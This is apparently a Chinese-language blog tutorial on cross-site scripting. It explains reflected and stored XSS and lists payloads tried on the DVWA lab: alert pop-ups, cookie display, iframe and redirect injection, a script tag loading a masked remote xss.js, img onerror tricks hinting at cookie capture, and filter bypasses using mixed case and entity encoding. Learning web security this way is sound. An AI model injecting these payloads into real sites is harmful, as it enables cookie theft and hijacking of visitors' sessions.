XSS简介

跨站脚本(cross site script)为了避免与样式CSS混淆,所以简称xss。
xss是一种经常出现在web应用中的计算机安全漏洞,也是web中最主流的攻击方式。
xss是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去。使别的用户访问都会执行相应的嵌入代码,从而盗取用户资料,利用用户身份进行某种动作,或者对访问者进行病毒侵害的一种攻击方式。

xss攻击的危害包括:
1.盗取各类用户账号,如机器登陆账号、用户网银账号、各类管理员账号
2.控制企业数据、包括读取、篡改、添加。删除企业敏感数据的能力。
3.非法转账,网站挂马,强制发送电子邮件,控制受害者机器向
其他网站发起攻击。

xss主要分类

反射型XSS(Reflected XSS ),又称为非持久性跨站点脚本攻击,它是最常见类型的xss,漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性xss包含一个带xss攻击向量的链接,(即每次攻击需要用户的点击)。

存储型XSS(Stored XSS)又称为持久型跨站点攻击脚本,它一般发生在XSS攻击向量(一般指XSS攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。持久型的XSS相比非持久型的XSS攻击危害更大,因为每当用户打开页面,查看内容时,脚本将自动执行。

构造XSS脚本

1.常用HTML标签
Augenstern
2.常用JavaScript方法
Augenstern
3.构造XSS脚本
**弹窗警告**
此脚本实现弹框提示,一般作为漏洞测试或者演示使用,类似SQL注入漏洞测试中的单引号,一旦此脚本能执行,也就意味着后端服务器没有对特殊字符做过滤<> /这样就可以证明,这个页面位置存在了XSS漏洞。我将代码写下来然后展示下在DVWA上的运行结果。

1
2
<script>alert('xss')</script>
<script>alert(document.cookie)</script>

第一个运行结果成功弹了个窗,上面写着xss
Augenstern
第二个运行结果能把cookie给显示出来
Augenstern
**页面嵌套**

1
2
<iframe src=https://zxcv0221.github.io width=300 height=300></iframe>
<iframe src=https://zxcv0221.github.io width=0 height=0 border=0></iframe>

第一个运行结果,我是让它跳到了我的GitHub博客去了。
Augenstern
第二个呢,emmmmmm,我设置嵌套的页面大小是0,所以没有什么变化。
**页面重定向**

1
2
<script>window.location="https://zxcv0221.github.io"</script>
<script>location.href="https://zxcv0221.github.io"</script>

第一个运行结果当然还是我的博客主页,嘿嘿。Augenstern
第二个与第一个运行结果相同。

弹窗警告并重定向

1
<script>alert("欢迎来到我的博客网站");location.href="https://zxcv0221.github.io"</script>

这个可以弹个窗并加载到我的博客页面。
Augenstern
这里我再点确定就会跳到我的博客。
**访问恶意代码**

1
<script src="http://*********/xss.js"></script>

别看了,这玩意儿我没有,还看。。。。。。。。。。。。。。。。。。。。。。。。。Augenstern
**巧用图片标签**

1
2
3
<img src="#" onerror=alert('xss')>/*与上面的<script>标签相比有什么优点可以体会一下。嘿嘿*/
<img src="javascript:alert('xss');">/*也可以弹窗*/
<img src="http://**********.***"></img>/*可以放你想引导到什么网站,可以得到用户cookie,至于放什么照片,照片参数都可以自己设定。*/

绕开过滤的脚本
大小写:<ScrIpT>alert('xss')</ScRipt>
字符编码,采用URL、base64等编码

1
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;">小弹窗</a>

第二个运行结果:一个超链接
Augenstern
这上面的都是反射型的xss。
存储型的xss危害更大,其危险程度远大于反射型xss。
OK,就说到这里。
我溜………………

Augenstern